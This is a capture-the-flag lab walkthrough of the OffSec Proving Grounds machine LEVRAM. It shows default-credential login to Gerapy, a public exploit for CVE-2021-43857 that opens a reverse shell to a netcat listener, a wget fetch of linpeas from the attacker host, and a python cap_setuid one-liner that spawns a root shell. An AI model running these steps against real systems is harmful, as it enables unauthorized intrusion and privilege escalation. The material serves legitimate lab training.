Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - LEVRAM

·1977 words·10 mins·
OSCP OFFSEC PG PRACTICE GERAPY
 Author
Table of Contents

Summary
#

On port 8000 there is a redirect to a GERAPY login screen. We can access this application using the default credentials admin:admin. This applications version is Gerapy v0.9.7 which has a known authenticated RCE. This gives us initial access. Once on the box there is a Python binary /usr/bin/python3.10 that has cap_setuid=ep set and allows us to get root access.

Specifications
#

  • Name: LEVRAM
  • Platform: PG PRACTICE
  • Points: 10
  • Difficulty: Easy
  • OS: Linux ubuntu 5.15.0-73-generic #80-Ubuntu SMP Mon May 15 15:18:26 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
  • IP address: 192.168.151.24
  • OFFSEC provided credentials: None
  • HASH: local.txt:2d45e7c90a8395756a6f5527bb208e67
  • HASH: proof.txt:9b7d8b9432a9ecbedb8cad4e485aef5e

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir levram && cd levram && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x 7 kali kali 4096 Jul 19 08:29 .
drwxrwxr-x 7 kali kali 4096 Jul 19 08:29 ..
drwxrwxr-x 2 kali kali 4096 Jul 19 08:29 enum
drwxrwxr-x 2 kali kali 4096 Jul 19 08:29 exploits
drwxrwxr-x 2 kali kali 4096 Jul 19 08:29 files
drwxrwxr-x 2 kali kali 4096 Jul 19 08:29 tools
drwxrwxr-x 2 kali kali 4096 Jul 19 08:29 uploads

## set bash variable
ip=192.168.151.24

## ping target to check if it's online
ping $ip
                
PING 192.168.151.24 (192.168.151.24) 56(84) bytes of data.
64 bytes from 192.168.151.24: icmp_seq=1 ttl=61 time=25.1 ms
64 bytes from 192.168.151.24: icmp_seq=2 ttl=61 time=19.8 ms
^C
--- 192.168.151.24 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 19.834/22.483/25.132/2.649 ms

Reconnaissance
#

Portscanning
#

Using the Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.151.24:22
Open 192.168.151.24:8000
Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-19 08:32 CEST
Initiating Ping Scan at 08:32
Scanning 192.168.151.24 [4 ports]
Completed Ping Scan at 08:32, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:32
Completed Parallel DNS resolution of 1 host. at 08:32, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 08:32
Scanning 192.168.151.24 [2 ports]
Discovered open port 22/tcp on 192.168.151.24
Discovered open port 8000/tcp on 192.168.151.24
Completed SYN Stealth Scan at 08:32, 0.06s elapsed (2 total ports)
Nmap scan report for 192.168.151.24
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-07-19 08:32:14 CEST for 0s

PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack ttl 61
8000/tcp open  http-alt syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp   open  ssh      syn-ack ttl 61
8000/tcp open  http-alt syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## change directory
cd files  

## get a list, comma separated of the open port(s)
cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports

## output previous command
22,8000

## move one up
cd ..

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,8000 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBYESg2KmNLhFh1KJaN2UFCVAEv6MWr58pqp2fIpCSBEK2wDJ5ap2XVBVGLk9Po4eKBbqTo96yttfVUvXWXoN3M=
|   256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBdIs4PWZ8yY2OQ6Jlk84Ihd5+15Nb3l0qvpf1ls3wfa
8000/tcp open  http    syn-ack ttl 61 WSGIServer 0.2 (Python 3.10.6)
|_http-cors: POST PUT DELETE OPTIONS PATCH
| http-methods: 
|_  Supported Methods: GET OPTIONS
|_http-title: Gerapy
|_http-server-header: WSGIServer/0.2 CPython/3.10.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

8000/tcp open  http    syn-ack ttl 61 WSGIServer 0.2 (Python 3.10.6)
|_http-cors: POST PUT DELETE OPTIONS PATCH
| http-methods: 
|_  Supported Methods: GET OPTIONS
|_http-title: Gerapy
|_http-server-header: WSGIServer/0.2 CPython/3.10.6

Since we got no credentials to start with, we’ll just skip port 22 for now and go directly for port 8000. When we go to the URL: http://192.168.151.24:8000 we get redirected to a GERAPY login page: http://192.168.151.24:8000/#/login

When we try default credentials like admin:admin we get in.

In the bottom left we can see the version of the application: Gerapy v0.9.7. When we search for an available exploit of this version we find: https://www.exploit-db.com/exploits/50640, CVE-2021-43857. We could also have found this exploit using searchsploit:

searchsploit Gerapy                     
---------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                    |  Path
---------------------------------------------------------------------------------- ---------------------------------
Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated)                        | python/remote/50640.py
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

We mirror the exploit to our exploit directory:

## change directory
cd exploits

## mirror the searchsploit exploit
searchsploit -m python/remote/50640.py

  Exploit: Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated)
      URL: https://www.exploit-db.com/exploits/50640
     Path: /usr/share/exploitdb/exploits/python/remote/50640.py
    Codes: CVE-2021-43857
 Verified: False
File Type: Python script, ASCII text executable

In the exploit the login and password variables are already set correct (admin:admin) so we’re good to go. Now we run the exploit to get some help on how to use this. We need to enter the URL, the target port and our local IP address and local port. We will setup a local listener on port 9001.

## run the python exploit script
python 50640.py                                                       
  ______     _______     ____   ___ ____  _       _  _  _____  ___ ____ _____ 
 / ___\ \   / / ____|   |___ \ / _ \___ \/ |     | || ||___ / ( _ ) ___|___  |
| |    \ \ / /|  _| _____ __) | | | |__) | |_____| || |_ |_ \ / _ \___ \  / / 
| |___  \ V / | |__|_____/ __/| |_| / __/| |_____|__   _|__) | (_) |__) |/ /  
 \____|  \_/  |_____|   |_____|\___/_____|_|        |_||____/ \___/____//_/   
                                                                              

Exploit for CVE-2021-43857
For: Gerapy < 0.9.8
usage: 50640.py [-h] -t URL -p TARGET_PORT -L LOCALHOST -P LOCALPORT
50640.py: error: the following arguments are required: -t/--target, -p/--port, -L/--lh, -P/--lp

## get local IP address and look for the tun0 interface
ip a

<SNIP>
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.195/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::ac6c:6937:fa1e:f1ef/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## setup out local listener
nc -lvnp 9001

## add the correct parameters to the exploit and run it
python 50640.py -t 192.168.151.24 -p 8000 -L 192.168.45.195 -P 9001
  ______     _______     ____   ___ ____  _       _  _  _____  ___ ____ _____ 
 / ___\ \   / / ____|   |___ \ / _ \___ \/ |     | || ||___ / ( _ ) ___|___  |
| |    \ \ / /|  _| _____ __) | | | |__) | |_____| || |_ |_ \ / _ \___ \  / / 
| |___  \ V / | |__|_____/ __/| |_| / __/| |_____|__   _|__) | (_) |__) |/ /  
 \____|  \_/  |_____|   |_____|\___/_____|_|        |_||____/ \___/____//_/   
                                                                              

Exploit for CVE-2021-43857
For: Gerapy < 0.9.8
[*] Resolving URL...
[*] Logging in to application...
[*] Login successful! Proceeding...
[*] Getting the project list
Traceback (most recent call last):
  File "/50640.py", line 130, in <module>
    exp.exploitation()
    ~~~~~~~~~~~~~~~~^^
  File "/50640.py", line 76, in exploitation
    name = dict3[0]['name']
           ~~~~~^^^
IndexError: list index out of range

It errors out. This is because the exploit is requesting a project list, but there are no projects registered. So, in the web application we first need to create a new project. Select project / create, enter a project name and press create


Rerun the exploit and we get initial access on our listener as the app user:

## rerun the python exploit
python 50640.py -t 192.168.151.24 -p 8000 -L 192.168.45.195 -P 9001

  ______     _______     ____   ___ ____  _       _  _  _____  ___ ____ _____ 
 / ___\ \   / / ____|   |___ \ / _ \___ \/ |     | || ||___ / ( _ ) ___|___  |
| |    \ \ / /|  _| _____ __) | | | |__) | |_____| || |_ |_ \ / _ \___ \  / / 
| |___  \ V / | |__|_____/ __/| |_| / __/| |_____|__   _|__) | (_) |__) |/ /  
 \____|  \_/  |_____|   |_____|\___/_____|_|        |_||____/ \___/____//_/   
                                                                              

Exploit for CVE-2021-43857
For: Gerapy < 0.9.8
[*] Resolving URL...
[*] Logging in to application...
[*] Login successful! Proceeding...
[*] Getting the project list
[*] Found project: project1
[*] Getting the ID of the project to build the URL
[*] Found ID of the project:  1
[*] Setting up a netcat listener
listening on [any] 9001 ...
[*] Executing reverse shell payload
[*] Watchout for shell! :)


## receive a reverse shell on our listener
nc -lvnp 9001   

listening on [any] 9001 ...
connect to [192.168.45.195] from (UNKNOWN) [192.168.151.24] 44556
bash: cannot set terminal process group (844): Inappropriate ioctl for device
bash: no job control in this shell
app@ubuntu:~/gerapy$ whoami
whoami
app

Go to the app home directory to print the local.txt content.

## change to the user home directory
app@ubuntu:~/gerapy$ cd ~
cd ~

## list all files
app@ubuntu:~$ ls -la
ls -la
total 48
drwxr-x--- 6 app  app  4096 Jul 19 15:00 .
drwxr-xr-x 3 root root 4096 Jun 13  2023 ..
lrwxrwxrwx 1 root root    9 Jun 13  2023 .bash_history -> /dev/null
-rw-r--r-- 1 app  app   220 Jun 13  2023 .bash_logout
-rw-r--r-- 1 app  app  3771 Jun 13  2023 .bashrc
drwxr-xr-x 7 app  app  4096 Jul 19 15:05 gerapy
drwx------ 3 app  app  4096 Jul 19 15:00 .gnupg
-rw-rw-r-- 1 app  app    33 Jul 19 14:28 local.txt
drwxr-xr-x 2 app  app  4096 Aug  3  2024 logs
-rw-r--r-- 1 app  app   807 Jun 13  2023 .profile
-rwxr-xr-x 1 app  app   109 Jun 13  2023 run.sh
drwx------ 3 app  app  4096 Jul 19 14:59 snap
-rw------- 1 app  app   818 Jun 13  2023 .viminfo

## print `local.txt`
app@ubuntu:~$ cat local.txt
cat local.txt
2d45e7c90a8395756a6f5527bb208e67

Privilege Escalation
#

First we download linpeas locally, upload it to the target and run it.

## change directory
cd uploads

## download `linpeas.sh`
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## start a local webserver
python3 -m http.server 80

## on target, download `linpeas.sh`
app@ubuntu:~/gerapy$ wget http://192.168.45.195/linpeas.sh
wget http://192.168.45.195/linpeas.sh
--2025-07-19 15:28:44--  http://192.168.45.195/linpeas.sh
Connecting to 192.168.45.195:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: ‘linpeas.sh’

<SNIP>

2025-07-19 15:28:44 (3.49 MB/s) - ‘linpeas.sh’ saved [956174/956174]

## change the execution bit
app@ubuntu:~/gerapy$ chmod +x linpeas.sh
chmod +x linpeas.sh

## run `linpeas.sh`
app@ubuntu:~/gerapy$ ./linpeas.sh

Within the linpeas output we can see that the /usr/bin/python3.10 binary has cap_setuid=ep. This indicates that the cap_setuid capability is both effective and permitted for a file, allowing it to change the user ID of a process, including setting it to the root user (UID 0). We can abuse this like so: https://gtfobins.github.io/gtfobins/python/#capabilities

## abusing `cap_setuid` on `/usr/bin/python3.10`
app@ubuntu:~/gerapy$ /usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/sh")'
<mport os; os.setuid(0); os.system("/bin/sh")'
whoami
root
cat /root/proof.txt
9b7d8b9432a9ecbedb8cad4e485aef5e

References
#

[+]

Related

OFFSEC - Proving Grounds - EXFILTRATED
·2597 words·13 mins
OSCP OFFSEC PG PRACTICE SUBRION CMS PWNKIT EXIFTOOL
SSH or Subrion CMS 4.2.1 file upload for access. Run linpeas to find CVE-2021-4034 (PwnKit) & cronjob with exiftool (CVE-2021-22204) for root.
OFFSEC - Proving Grounds - COCKPIT
·1373 words·7 mins
OSCP OFFSEC PG PRACTICE TAR GOBUSTER
SQL inject login to get admin & additional creds. Use credentials in Ubuntu Web Console. Exploit sudo tar wildcard to escalate to root.
OFFSEC - Proving Grounds - PELICAN
·2071 words·10 mins
OSCP OFFSEC PG PRACTICE GCORE
Exploitable Exhibitor for ZooKeeper on port 8080. Initial access user has gcore sudo privileges, can dump password-store process to reveal root credentials.
OFFSEC - Proving Grounds - NIBBLES
·1674 words·8 mins
OFFSEC PG PRACTICE POSTGRES
PostgreSQL port open, default creds allow login. Command execution (9.3+) runs reverse shell for access. SUID find enables root escalation.
OFFSEC - Proving Grounds - ZINO
·2525 words·12 mins
OFFSEC PG PRACTICE NXC SMB SMBCLIENT
Access server with SMB file and use a Python exploit for PHP webshell in Booked Scheduler. Escalate to root via cronjob.